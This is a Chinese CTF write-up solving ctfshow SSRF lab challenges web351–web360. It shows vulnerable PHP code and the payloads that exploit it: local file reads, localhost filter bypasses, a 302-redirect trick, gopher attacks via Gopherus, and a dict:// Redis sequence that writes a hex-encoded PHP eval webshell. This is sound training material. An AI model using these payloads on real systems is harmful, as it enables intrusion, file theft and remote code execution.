ctfshow--web入门--SSRF

目录

web351

web352

web353

web354

web355

web356

web357

web358

web359

web360

工具打

手动打


web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

尝试一下file协议
url=file:///etc/passwd
可以发现有返回值, 读取flag.php文件
url=file:///var/www/html/flag.php
查看源代码可以发现flag
也可以直接使用http协议
url=http://127.0.0.1/flag.php
得到flag

web352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

过滤了localhost 和 127.0.0.1
且必须用http 或者https协议
绕过就行 :
--127.1可以被解析成127.0.0.1
--0可以被解析成127.0.0.1
127.0.0.1 ~ 127.255.255.254都表示localhost
进制转换 将127.0.0.1转换成十进制
127。0.0.1 也可以绕过

url=http://127.1/flag.php
url=http://0/flag.php
url=http://127.6.6.6/flag.php
url=http://2130706433/flag.php

web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

可以直接用上一道题的方法
进制转换或者用 0 替代啥的
url=http://0/flag.php

web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

sudo.cc相当于127.0.0.1 
或者改本地域名的A记录到127.0.0.1上,然后访问http://域名/flag.php

url=http://sudo.cc/flag.php

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

限定了长度, 可以用之前的方法

url=http://0/flag.php
url=http://127.1/flag.php

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

进一步限制了长度, 依旧可以用之前的方法

url=http://0/flag.php

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

利用302跳转
在自己的服务器上新建一个1.php ,写上如下内容

<?php
header("Location:http://127.0.0.1/flag.php"); 

url=http://[自己的域名]/1.php
可以得到flag
 

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

题目要求必须以 http://ctf 开头,以 show 结尾
可以具体的了解一下parse_url()函数


url=http://ctf.@127.0.0.1/flag.php?show

可以得到flag

web359

一个登录框
bp抓包

有个returl参数, 可以随意修改url


题目提示: 打无密码的mysql
工具: GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

利用gopher协议打mysql

直接使用工具

将_ 后面的内容再次url编码一下, 传上去
(PHP接收到POST或GET请求数据,会自动进行一次URL解码)
访问路径, 进行rce得到flag

web360

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

提示: 打redis

工具打

利用工具跟上题一样

依旧是要将_后面的字符再次url编码
然后传给url参数
反应有点慢, 而且后面还会返回一个 502 Bad Gateway
但是访问 shell.php 还是可以进行rce的

手动打

手动打的一个大概流程:
(第一遍没成功, 环境关了之后重复一下第二遍也没成功 , 因为之前是命名1.php 然后第三次直接又重复了一遍, 就改了个名字(shell.php), 居然就可以了,有点不理解 )
用dict协议探测一下是否在6379端口:

url=dict://127.0.0.1:6379

设置本地存放dir

url=dict://127.0.0.1:6379/config:set:dir:/var/www/html

然后开始写马,一般用十六进制

url=dict://127.0.0.1:6379/set:shell:"\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x61\x5d\x29\x3b\x3f\x3e"

设置文件名

url=dict://127.0.0.1:6379/set:dbfilename:shell.php

最后保存

url=dict://127.0.0.1:6379/save

访问shell.php 进行rce

相关推荐

  1. ctfshow web入门 web234--web249

    2024-07-14 23:48:02       22 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-14 23:48:02       67 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-14 23:48:02       71 阅读
  3. 在Django里面运行非项目文件

    2024-07-14 23:48:02       58 阅读
  4. Python语言-面向对象

    2024-07-14 23:48:02       69 阅读

热门阅读

  1. 题解:P9999 [Ynoi2000] tmostnrq

    2024-07-14 23:48:02       20 阅读
  2. Vue项目中禁用ESLint的几种常见方法

    2024-07-14 23:48:02       17 阅读
  3. Android Media Framework(十一)OMXNodeInstance - Ⅳ

    2024-07-14 23:48:02       25 阅读
  4. 基于matlab的深度学习案例及基础知识专栏前言

    2024-07-14 23:48:02       21 阅读
  5. C++ 桥接模式 (Bridge Pattern)

    2024-07-14 23:48:02       19 阅读
  6. liunx作业笔记1

    2024-07-14 23:48:02       20 阅读
  7. iOS热门面试题(二)

    2024-07-14 23:48:02       20 阅读
  8. python-程序结构

    2024-07-14 23:48:02       23 阅读